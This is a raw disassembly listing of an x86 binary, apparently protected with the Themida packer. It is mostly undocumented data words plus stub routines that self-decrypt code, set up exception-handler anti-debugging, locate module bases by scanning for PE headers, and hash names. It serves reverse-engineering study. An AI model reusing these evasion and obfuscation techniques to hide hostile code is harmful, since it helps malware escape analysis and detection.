		dd 0B8590000h, 5Ch, 3 dup(0)
		dd 0E9800000h, 0FBFB005Bh, 5BEAh, 3 dup(0)
		dd 6C0000h, 10000000h, 0Ch dup(0)
		dd 3A10000h, 0
		dd 0A5380000h, 0DD45FFFFh, 58h,	1B700000h, 0B7h	dup(0)
		dd 99E90000h, 0
		dd 0A3450000h, 98B383h,	0
		dd 0FFA40000h, 12h, 0
		dd 0A1540000h, 5Bh, 0BEE30000h,	58h, 2 dup(0)
		dd 10000h, 2 dup(0)
		dd 0CF000000h, 54h, 3 dup(0)
		dd 68540000h, 64696D65h, 61h, 1Ch dup(0)
		dd 0BF4A0000h, 54h, 0
		dd 6E2B0000h, 6CB00000h, 0
		dd 6E2B0000h, 0Bh dup(0)
		dd 10000h, 5 dup(0)
		dd 93500000h, 0FFFFh, 40B60000h, 0FFABh, 4A610000h, 9BDEh
		dd 0A00000h, 2 dup(0)
		dd 3040000h, 37627FFEh,	58h, 0FF2D0000h, 5Bh, 0
		dd 2ED40000h, 5	dup(0)
		dd 0DC0000h, 3 dup(0)
		dd 0FF540000h, 12h, 10750000h, 0FFA8h, 0
		dd 8, 5	dup(0)
		dd 9B60h, 14000000h, 83C5h, 0E40000h, 10000h, 6, 0Ch dup(0)
		dd 0E1090000h, 59h, 180B0000h, 2D8677F5h, 76CD005Dh, 77E7h
		dd 3 dup(0)
		dd 23D70000h, 2FDF77DDh, 29E1h,	8 dup(0)
		dd 0C9390000h, 57h, 8B600000h, 3A0BD8Dh, 0FD450000h, 7FFEh
		dd 9 dup(0)
		dd 0B2260000h, 0FFA7h, 0C9610000h, 57h,	2 dup(0)
		dd 0E800000h, 7	dup(0)
		dd 0D8680000h, 78DF0058h, 721Bh, 0
		dd 73160000h, 698500A3h, 58h, 5	dup(0)
		dd 27100000h, 189A0000h, 77DDh,	9 dup(0)
		dd 6A2E0000h, 77E7h, 4 dup(0)
		dd 5B040000h, 7FFEh, 0
		dd 0C3060000h, 54h, 3 dup(0)
		dd 800000h, 76D10000h, 83C005Ah, 0
		dd 1C7C0000h, 0F2BBh, 2	dup(0)
		dd 40h,	57C90000h, 8818h, 5 dup(0)
		dd 76450000h, 149Bh, 0
		dd 69DD0000h, 0F05C00A1h, 28A3h, 6 dup(0)
		dd 0EF180000h, 0F6FAFFFFh, 58h,	6 dup(0)
		dd 6536025Bh, 0CE3Ch, 3	dup(0)
		dd 3040000h, 7FFEh, 20000h, 2 dup(0)
		dd 0A00F0000h, 0A1h, 10000h, 56430000h,	0
		dd 24670000h, 0BF4AFFFFh, 54h, 9 dup(0)
		dd 531D0000h, 57h, 500000h, 0D25DFE8Eh,	23CE0059h, 5Ah
		dd 0
		dd 75000000h, 2	dup(0)
		dd 77DF0000h, 77E7h, 20000h, 0
		dd 72730000h, 0B0FDh, 2	dup(0)
		dd 3040000h, 7FFEh, 0
		dd 0D6940000h, 0F2D20054h, 0A00FF812h, 0A1h, 2 dup(0)
		dd 2FE80000h, 77E8h, 0
		dd 178A0000h, 0FFFFh, 0
		dd 0D3970000h, 54h, 3 dup(0)
		dd 40h,	99E90000h, 7 dup(0)
		dd 30DF0000h, 0A9C5h, 8	dup(0)
		dd 0D5540000h, 0A0h, 25C70000h,	55E9h, 3 dup(0)
		dd 90400000h, 0FFFFh, 0A80000h,	0
		dd 22880000h, 59h, 2 dup(0)
		dd 0D2100000h, 4000E133h, 3, 0A00F0000h, 0A1h, 0
		dd 7E40000h, 8002h, 2 dup(0)
		dd 519D0000h, 0B368h, 9CBB0000h, 2838005Ch, 200058h, 0FFEDh
		dd 0Ch dup(0)
		dd 4AD00000h, 12h, 0
		dd 3040000h, 0
		dd 0A00F0000h, 2BDE0058h, 418000A1h, 77E8h, 7 dup(0)
		dd 700000h, 35A90000h, 1Eh, 0Bh	dup(0)
		dd 0FA560000h, 369500A1h, 7C43h, 2 dup(0)
		dd 18F50000h, 59F00058h, 77DDh,	2 dup(0)
		dd 6E2B0000h, 0Ah dup(0)
		dd 0B2FE0000h, 0FF543C2Fh, 24240012h, 2424h, 2 dup(0)
		dd 10000h, 5 dup(0)
		dd 37620000h, 0BF860058h, 54h, 5 dup(0)
		dd 48120000h, 0
		dd 0CF030000h, 13A893EBh, 0
		dd 7710000h, 2C0Eh, 6 dup(0)
		dd 3C880000h, 2BDFh, 5 dup(0)
		dd 1050000h, 0A28h, 33FB0000h, 77E7h, 36360000h, 3636h
		dd 3E680000h, 2, 0E98C0000h, 58h, 2 dup(0)
		dd 3040000h, 46287FFEh,	7C190014h, 7FA5h, 0FFBA0000h, 0FF53h
		dd 8DBD025Ah, 0E93Ch, 9	dup(0)
		dd 0B5160000h, 54h, 8 dup(0)
		dd 0BE770000h, 4EDEh, 0
		dd 28Ah, 4 dup(0)
		dd 76CD0000h, 77E7h, 6 dup(0)
		dd 0DB990000h, 3 dup(0)
		dd 22D80000h, 0A2h, 9 dup(0)
		dd 539D0000h, 81A3FBBh,	2 dup(0)
		dd 40h,	7 dup(0)
		dd 16FE0000h, 0
		dd 0B69C0000h, 5Ch, 0Ch	dup(0)
		dd 0F2130000h, 5Bh, 0
		dd 8D8D0000h, 0E93Ch, 283800AFh, 4F190058h, 2BECh, 0
		dd 38C00000h, 0A2h, 182B0000h, 636Eh, 0
		dd 0A2970000h, 59h, 7 dup(0)
		dd 0E19D0000h, 0
		dd 352A0000h, 16A2h, 0
		dd 32680000h, 400000A2h, 5Bh, 2	dup(0)
		dd 0E79A0000h, 70DAh, 787A0000h, 3067h,	69DD0000h, 8800A1h
		dd 2 dup(0)
		dd 900000h, 2 dup(0)
		dd 0E2470000h, 59h, 0
		dd 96C70000h, 0FFA5h, 0Fh dup(0)
		dd 8B820000h, 1D5277E7h, 1, 69h	dup(0)
		dd 6B9C0000h, 24Ah, 2 dup(0)
		dd 21680000h, 77E8h, 76CD0000h,	77E7h, 28Ah, 99E90000h
		dd 0
		dd 5D430000h, 6D6Ah, 3 dup(0)
		dd 91D50000h, 0FFFFh, 3	dup(0)
		dd 0C7850000h, 6E2B77E7h, 0
		dd 27BB0000h, 5Ah, 10000h, 0FFB00000h, 1E1h, 2 dup(0)
		dd 90BC0000h, 7CFFFFh, 2D8E0000h, 6276h, 7DB40000h, 0DB000058h
		dd 18F575E3h, 58h, 8 dup(0)
		dd 3D450000h, 77E7h, 3040000h, 7FFEh, 6	dup(0)
		dd 8D530040h, 0E92600A5h, 3A57h, 3 dup(0)
		dd 0FE840000h, 8E50h, 27h dup(0)
		dd 2ED40000h, 5	dup(0)
		dd 0B40000h, 0
		dd 60B00000h, 0CC37h, 0Fh dup(0)
		dd 59170000h, 0FFB0h, 6E2B0000h, 0
		dd 3040000h, 7FFEh, 88200000h, 40058h, 9 dup(0)
		dd 10000h, 5 dup(0)
		dd 3040000h, 0DF917FFEh, 128Fh,	6 dup(0)
		dd 0AC0000h, 0A1B60000h, 54h, 0BC0000h,	3 dup(0)
		dd 0AC0000h, 7 dup(0)
		dd 90200000h, 300h, 3 dup(0)
		dd 37D00000h, 2	dup(0)
		dd 1B70000h, 528Ah, 2 dup(0)
		dd 18E30000h, 77FCh, 5 dup(0)
		dd 40h,	2 dup(0)
		dd 3040000h, 7FFEh, 4 dup(0)
		dd 3D80000h, 4 dup(0)
		dd 694E0000h, 0B9D6h, 0A5FD0000h, 0D50677E7h, 0D39F32EFh
		dd 1EE7h, 2 dup(0)
		dd 0E0000000h, 8112000Dh, 0B86771h, 0B000000h, 0C20374C0h
		dd 448B0018h, 0E8530C24h, 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A1A037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	12h dup(0)
		dd 2BBA0000h, 3	dup(0)
		dd 9F70000h, 0A1h, 0
		dd 0B2AE0000h, 0
		dd 60000000h, 0B6F4001Dh, 0E8A7h, 4 dup(0)
		dd 6A2E0000h, 77E7h, 99E90000h,	0FFF00000h, 0DD470012h
		dd 58h,	6 dup(0)
		dd 3040000h, 0C6E07FFEh, 57h, 0D9AC0000h, 574h,	4 dup(0)
		dd 0D7060000h, 77E6h, 10000h, 580000h, 0C1900000h, 57h
		dd 0FEF00000h, 12h, 0
		dd 0A2060000h, 0FEF2h, 3 dup(0)
		dd 3040000h, 0AB377FFEh, 1944h,	2 dup(0)
		dd 12C00000h, 5Ch, 0BF200000h, 0
		dd 0EF150000h, 1560FFFFh, 0A2h,	0
		dd 915B0000h, 0A1h, 4 dup(0)
		dd 77E6h, 3 dup(0)
		dd 1F00000h, 23BF30h, 54h, 12h dup(0)
		dd 9A590000h, 0FFFCFFFFh, 0FFFFh, 7 dup(0)
		dd 6E2B0000h, 0D9070000h, 53E3h, 0
		dd 0F0A90000h, 740058h,	0
		dd 80370000h, 3240h, 5BB50000h,	5Bh, 7 dup(0)
		dd 4A650000h, 0DE92h, 20000h, 3	dup(0)
		dd 212E0000h, 8CFFBBh, 6 dup(0)
		dd 28380000h, 0DFBE0058h, 843h,	3 dup(0)
		dd 5CB50000h, 6B9C77E7h, 24Ah, 3 dup(0)
		dd 0A6E90000h, 77EBh, 2	dup(0)
		dd 3A1D0000h, 0C6C60057h, 57h, 8 dup(0)
		dd 18F50000h, 58h, 8 dup(0)
		dd 71B10000h, 4	dup(0)
		dd 35180000h, 9E100000h, 5E2EFFFFh, 100A1h, 77D4h, 9 dup(0)
		dd 6E2B0000h, 9DA80000h, 57h, 0
		dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Ch dup(0)
		dd 0FEF80000h, 12h, 2 dup(0)
		dd 69DD0000h, 0A1h, 4 dup(0)
		dd 0A00F0000h, 0A1h, 2 dup(0)
		dd 240000h, 577C0000h, 4D5Ah, 0
		dd 3040000h, 17FFEh, 2 dup(0)
		dd 230000h, 58h, 0FCDE0000h, 5957h, 0Ch	dup(0)
		dd 0FCFC0000h, 76CD8001h, 77E7h, 31450000h, 0A1h, 7 dup(0)
		dd 59740000h, 8655h, 2 dup(0)
		dd 99E90000h, 3	dup(0)
		dd 9BD70000h, 5Bh, 3 dup(0)
		dd 0E4520000h, 0FFA7h, 5 dup(0)
		dd 21210000h, 67AC2121h, 0F663h, 7 dup(0)
		dd 0ED7E0000h, 0D15416B3h, 0EF77h, 18F50000h, 58h, 0
		dd 0FFB00000h, 1B3B01E1h, 7FA2h, 19C60000h, 8AC5h, 3 dup(0)
		dd 28380000h, 58h, 0
		dd 57C90000h, 0B8B8818h, 7584005Ah, 5Bh, 2 dup(0)
		dd 0FF540000h, 12h, 0
		dd 0E6030000h, 5Bh, 0A2970000h,	59h, 3 dup(0)
		dd 0F9BF0000h, 0B6BE29AAh, 0D57Bh, 3 dup(0)
		dd 37300000h, 58h, 2 dup(0)
		dd 80000h, 242h, 2 dup(0)
		dd 5D80000h, 77E8h, 0Ah	dup(0)
		dd 10000h, 207Bh, 0C210000h, 5Ah, 0
		dd 6E7F0000h, 0FCFC0058h, 8001h, 9 dup(0)
		dd 89990000h, 0D2105A6Ah, 7979E133h, 0A1h, 5 dup(0)
		dd 6A600000h, 5500h, 4 dup(0)
		dd 93EF0000h, 77E7h, 2 dup(0)
		dd 10000h, 8D8D0000h, 0E93Ch, 4	dup(0)
		dd 15680000h, 440100A2h, 6BA0E1C7h, 5AB3h, 0
		dd 21680000h, 77E8h, 0
		dd 0D92F0000h, 939312CCh, 0A1h,	3 dup(0)
		dd 7F5D0000h, 3259h, 3 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_54C83E:				; CODE XREF: start:loc_549345j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6283503h
		mov	[ebp+62806A1h],	edx
		mov	[ebp+6281F4Dh],	esi
		mov	[ebp+6282D0Dh],	eax
		cmp	dword ptr [ebp+62816C9h], 0
		jz	short loc_54C876
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_54C876:				; CODE XREF: start+6B854j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6280E25h],	eax
		push	45h
		call	sub_54C92A
		push	783749Ah
		call	sub_54C970
		push	0A894B25h
		call	sub_54C970
		jmp	loc_54CAB4
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54C92A	proc near		; CODE XREF: start+6B86Ep

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 62835F1h
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_54C946:				; CODE XREF: sub_54C92A+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54C965
		mov	eax, [ebp+arg_0]
		mov	[ebx+628355Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54C946
; ---------------------------------------------------------------------------

loc_54C965:				; CODE XREF: sub_54C92A+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54C92A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54C970	proc near		; CODE XREF: start+6B878p start+6B882p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 628363Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_54C996:				; CODE XREF: sub_54C970+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54C996
		mov	[ebp+var_84], 0
		lea	edi, [edx+628355Bh]
		lea	esi, [ebp+var_80]

loc_54C9C6:				; CODE XREF: sub_54C970+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_54C9D2:				; CODE XREF: sub_54C970+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54C9D2
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54C9C6
		popa
		leave
		retn	4
sub_54C970	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54CA10
; ---------------------------------------------------------------------------

loc_54CA0C:				; CODE XREF: Themida_:0054CA13j
		inc	dword ptr [ebp-4]
		inc	esi

loc_54CA10:				; CODE XREF: Themida_:0054CA0Aj
		cmp	byte ptr [esi],	0
		jnz	short loc_54CA0C
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54CAA1
; ---------------------------------------------------------------------------

loc_54CA22:				; CODE XREF: Themida_:0054CAA4j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54CA98
; ---------------------------------------------------------------------------

loc_54CA2B:				; CODE XREF: Themida_:0054CA9Cj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54CA85
; ---------------------------------------------------------------------------

loc_54CA3B:				; CODE XREF: Themida_:0054CA89j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54CA5D
		cmp	bl, 39h
		ja	short loc_54CA5D
		sub	bl, 30h
		jmp	short loc_54CA7F
; ---------------------------------------------------------------------------

loc_54CA5D:				; CODE XREF: Themida_:0054CA51j
					; Themida_:0054CA56j
		cmp	bl, 61h
		jb	short loc_54CA6F
		cmp	bl, 66h
		ja	short loc_54CA6F
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54CA7F
; ---------------------------------------------------------------------------

loc_54CA6F:				; CODE XREF: Themida_:0054CA60j
					; Themida_:0054CA65j
		cmp	bl, 41h
		jb	short loc_54CA7F
		cmp	bl, 46h
		ja	short loc_54CA7F
		sub	bl, 41h
		add	bl, 0Ah

loc_54CA7F:				; CODE XREF: Themida_:0054CA5Bj
					; Themida_:0054CA6Dj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_54CA85:				; CODE XREF: Themida_:0054CA39j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54CA3B
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54CA95
		mov	eax, [ebp-10h]
		stosb

loc_54CA95:				; CODE XREF: Themida_:0054CA8Fj
		inc	dword ptr [ebp-8]

loc_54CA98:				; CODE XREF: Themida_:0054CA29j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54CA2B
		add	edx, 4

loc_54CAA1:				; CODE XREF: Themida_:0054CA20j
		cmp	edx, [ebp-4]
		jb	loc_54CA22
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_54CAB4:				; CODE XREF: start+6B887j
		mov	ecx, 7000h
		lea	edi, [ebp+6283780h]

loc_54CABF:				; CODE XREF: start+6BAAFj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54CABF
		mov	eax, 48692121h
		mov	edx, 0F00E1000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6283874h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	ebx, ecx
		jl	loc_54CAFF
		jge	loc_54CAFF
		cld

loc_54CAFF:				; CODE XREF: start+6BADEj start+6BAE4j
		sub	eax, edx
		pusha
		mov	ax, cx
		add	ax, 0B48Ch
		popa
		jg	loc_54CB22
		push	edx
		jmp	loc_54CB21
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0D3h
		dd 69CE2E0Eh, 158A6860h
		db 0BCh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_54CB21:				; CODE XREF: start+6BAFEj
		pop	ebx

loc_54CB22:				; CODE XREF: start+6BAF7j
		and	eax, 0FFFFF000h
		mov	ebx, 60D7B5C5h
		mov	ecx, edx
		xor	edi, edi

loc_54CB30:				; CODE XREF: start+6BB37j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_54CB45
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_54CB4D

loc_54CB45:				; CODE XREF: start+6BB21j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_54CB30
; ---------------------------------------------------------------------------

loc_54CB4D:				; CODE XREF: start+6BB2Fj
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+6283887h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_54CB87
		mov	esi, [eax+1Ch]

loc_54CB87:				; CODE XREF: start+6BB6Ej
		xor	eax, eax

loc_54CB89:				; CODE XREF: start+6BB88j
		cmp	eax, 32h
		jz	short loc_54CBAD
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_54CB9E

loc_54CB95:				; CODE XREF: start+6BB97j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_54CB89
; ---------------------------------------------------------------------------

loc_54CB9E:				; CODE XREF: start+6BB7Fj
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_54CBEF
		jmp	short loc_54CB95
; ---------------------------------------------------------------------------

loc_54CBAD:				; CODE XREF: start+6BB78j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 51h,	8Bh, 4Ch
		dd 0A9811024h, 0B0h, 1000h, 0C3C03359h,	244C8B51h, 0E85510h
		dd 5D000000h, 3892ED81h, 858D0628h, 6283850h, 0B88189h
		dd 595D0000h
		db 33h,	0C0h, 0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_54CBEF:				; CODE XREF: start+6BB95j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		push	eax
		jmp	loc_54CC05
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 5F0C470Dh
		db 7Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_54CC05:				; CODE XREF: start+6BBE7j
		pop	ebx
		add	ebx, 3BE5C01Dh
		mov	cx, ds
		push	0
		push	esi
		call	sub_54CC1A
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_54CC1A	proc near		; CODE XREF: start+6BBFEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_54CC1A	endp

; ---------------------------------------------------------------------------
		dw 0F45h
		dd 0E180D8B7h, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0D12B9D27h, 0FC90A7Ch
		dd 3885h, 33DF8000h, 241585C7h,	10628h,	0E9F90000h, 9Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8CC35141h
		dd 0CEBE5755h, 8855CF79h, 1585C755h, 62824h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 5852C355h, 0D36532A6h, 7E8h, 73C67700h, 0CAEF143Ch
		dd 7E8h, 9614E500h, 0A628FD5Ch,	5BC9EB80h, 11E85Bh, 396C0000h
		dd 0DC2C3934h, 38083BDDh, 351DF811h, 0E8485BA1h, 0Eh, 0E5EFF549h
		dd 0A5B75FFFh, 988F15EFh, 0D88B7254h, 85895B5Bh, 6282DD5h
		dd 2820Fh, 0DF8B0000h, 140D8589h, 7E80628h, 0E7000000h
		dd 11415ECDh, 11E902E7h, 0FA000000h, 0C84952D6h, 78E59EB0h
		dd 40A765Fh, 57CEB407h,	0F8BF0F5Ah, 7533C281h, 0BEF50000h
		dd 0
		dd 38E0Fh, 0CC800000h, 321C8B08h, 0BAF381F8h, 0F425B21h
		dd 0C381CBB7h, 3D60E7C0h, 0EB816FB4h, 41964F36h, 1A6637B8h
		dd 321C891Ah, 13E960h, 0C7BE0000h, 60DCE1D5h, 288822A5h
		dd 9B71060Bh, 8548CD81h, 8275B98Dh, 0E9611099h,	0Dh, 0FA8AD7B3h
		dd 7A99F704h, 0C4500B42h, 4EE83DEh, 8E8h, 5117C600h, 5ACEF06h
		dd 0FB8B66C8h, 90FE8158h, 0FFFFF8Bh, 0FFFF8C85h, 840F52FFh
		dd 15h,	0FE8h, 1F93DC00h, 7B64A983h, 717DD939h,	3DD97920h
		dd 6E85958h, 21000000h,	0F4825CADh, 0F6805032h,	0E8595AD7h
		dd 14h,	6E86D014h, 3EF4EE2Eh, 850E787Eh, 0CA724C33h, 0BC69122Eh
		dd 0D2C1815Ah, 0F8000072h, 21CCE7BBh, 6BEB8135h, 0E83521B0h
		dd 5, 2382A580h, 0BF6660B9h, 42BBF301h,	6108FB8Ch, 5E31FF5Ah
		dd 0DE8h, 0E6159400h, 0D257193Ch, 0D7D2B64Eh, 0AE97F73h
		dd 0BC000000h, 23956881h, 1547D3Ah, 0EE815886h,	7D00988Eh
		dd 6E9h, 0B1C2E200h, 81E4F3E0h,	8A7350EEh, 0F7816611h
		dd 0EE814683h, 778D2801h, 31895CB2h, 8304CE80h,	0B76001E9h
		dd 49496177h, 6E949h, 485B0000h, 9829FE73h, 0F01EB83h
		dd 1085h, 27E900h, 31D0000h, 9FB8E4F6h,	0D95596AFh, 0C8806061h
		dd 61C3B69Eh, 0FFFF78E9h, 433F3FFFh, 6309A631h,	0AB9EBE27h
		dd 38C212Eh, 1504EB17h,	0E9000002h, 6B0h, 11E9h, 0EF6BEC00h
		dd 9AFEF23Bh, 0FCD08AB5h, 0FA2CAF95h, 29608356h, 2803A99Dh
		dd 0B5958B06h, 61062819h, 89B58960h, 89062817h,	2825ED9Dh
		dd 0B806h, 820F0000h, 0Ch, 6840Fh, 0BD090000h, 628032Dh
		dd 0F7D88160h, 66361382h, 61A240BFh, 2824548Bh,	7458589h
		dd 85890628h, 6281469h,	1858589h, 3CBE0628h, 0F000000h
		dd 18Ah, 7403F500h, 8D892424h, 62829B5h, 0BD89AD66h, 6281909h
		dd 24244403h, 9AB96660h, 89852975h, 6106280Fh, 0F525090h
		dd 68Bh, 870F00h, 0F000000h, 8E86031h, 4D000000h, 7E97D01h
		dd 58439183h, 0FBA814BAh, 585A614Ch, 0C68B6050h, 850F9061h
		dd 17h,	12E9h, 0D89CAA00h, 0D2DADCF3h, 6CA49333h, 0EAB76E01h
		dd 8B897225h, 3FC7840h,	0E9282444h, 0Fh, 0A077CCBCh, 9A6B5951h
		dd 0BBD40590h, 8BACB1D6h, 60F91840h, 9E8h, 2B67E00h, 0CDB17908h
		dd 0F59A9F8h, 28Eh, 615F5700h, 1DB58940h, 89062818h, 283B8E85h
		dd 9953106h, 58062814h,	158D2960h, 8B062833h, 281655B5h
		dd 8BF86106h, 95097870h, 6281061h, 0F1CC683h, 184h, 7403F900h
		dd 840F2424h, 0Ch, 6800Fh, 0BD890000h, 62820BDh, 34ADBD8Dh
		dd 85310628h, 6280E99h,	14E9ADh, 0E0900000h, 0C924DF98h
		dd 0E212510Bh, 19569035h, 0EDDE2359h, 0B5092F1Bh, 62812ADh
		dd 24244403h, 1505BD89h, 2B600628h, 282E5D8Dh, 89AB6106h
		dd 2831D58Dh, 1D952906h, 8D062806h, 281181BDh, 1DBD0906h
		dd 0AD062800h, 1820Fh, 3FC0000h, 29242444h, 2834B585h
		dd 850F9006h, 0Ch, 6850Fh, 860F0000h, 0
		dd 128C0F50h, 50000000h, 0F525052h, 0F585A31h, 860F31h
		dd 5A000000h, 0F609058h, 688h, 0F1B58B00h, 3306280Dh, 2825519Dh
		dd 89AB6106h, 28220D85h, 95BD8D06h, 0E9062826h,	0Eh, 9CE11521h
		dd 38A0C859h, 226E32F9h, 60AD9BC3h, 1DFBA66h, 24B58589h
		dd 3610628h, 89282444h,	2834C1B5h, 6660AB06h, 0FDBFFA8Bh
		dd 61255935h, 6810F5Eh,	9000000h, 2808098Dh, 8E8DFF06h
		dd 8306283Bh, 283B8EBDh, 10750006h, 1C2444C7h, 0
		dd 403AB58Dh, 0E6FF0628h, 4403AD56h, 8B972824h,	25858ADFh
		dd 8406280Dh, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh
		dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah
		dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h
		dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h
		dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 28146985h,	0FF6FE906h
		dd 315EFFFFh, 2803E9BDh, 0A98D2906h, 8B06280Fh,	28146985h
		dd 0E0D1F906h, 0AE9h, 0AF631100h, 0E17E59CAh, 38A3637h
		dd 28269585h, 9E906h, 0F13B0000h, 0CAF96060h, 0BE601E63h
		dd 0
		dd 7E9h, 90C49200h, 0DC43BC0Fh,	6E9h, 97C62300h, 9695C29Eh
		dd 0FE9h, 78F3B400h, 0CB69BB2Dh, 0CC179BEFh, 780708C0h
		dd 8A0FAD66h, 1, 2E0C1F8h, 0AD8503F9h, 0FC062834h, 4D858996h
		dd 0F5062823h, 4C8BF9ADh, 3F82424h, 29242444h, 2832F1B5h
		dd 24448906h, 6096F51Ch, 112D9D8Bh, 0FE80628h, 0AB000000h
		dd 0BA24FAAAh, 25857086h, 2F926F83h, 958B9B72h,	6281F05h
		dd 0F60615Fh, 0B529F6BFh, 628233Dh, 880FAC61h, 0Ch, 7E9h
		dd 0EAD71300h, 4A7CF0C5h, 14E9C932h, 83000000h,	0E79257D9h
		dd 23FE2D4Dh, 0D9259B15h, 0BFF2E2D1h, 0FE56FDEAh, 0D0D0F5C1h
		dd 0AD830Fh, 60FC0000h,	2F998D89h, 66600628h, 89D3B4B9h
		dd 280F8995h, 0D0616106h, 90830FD0h, 0F8000000h, 820FD0D0h
		dd 87h,	0A890Fh, 5E90000h, 0C000000h, 0CC228136h, 820FD0D0h
		dd 6Fh,	0CE960h, 45440000h, 0F7023F78h,	40253057h, 0BF6626D9h
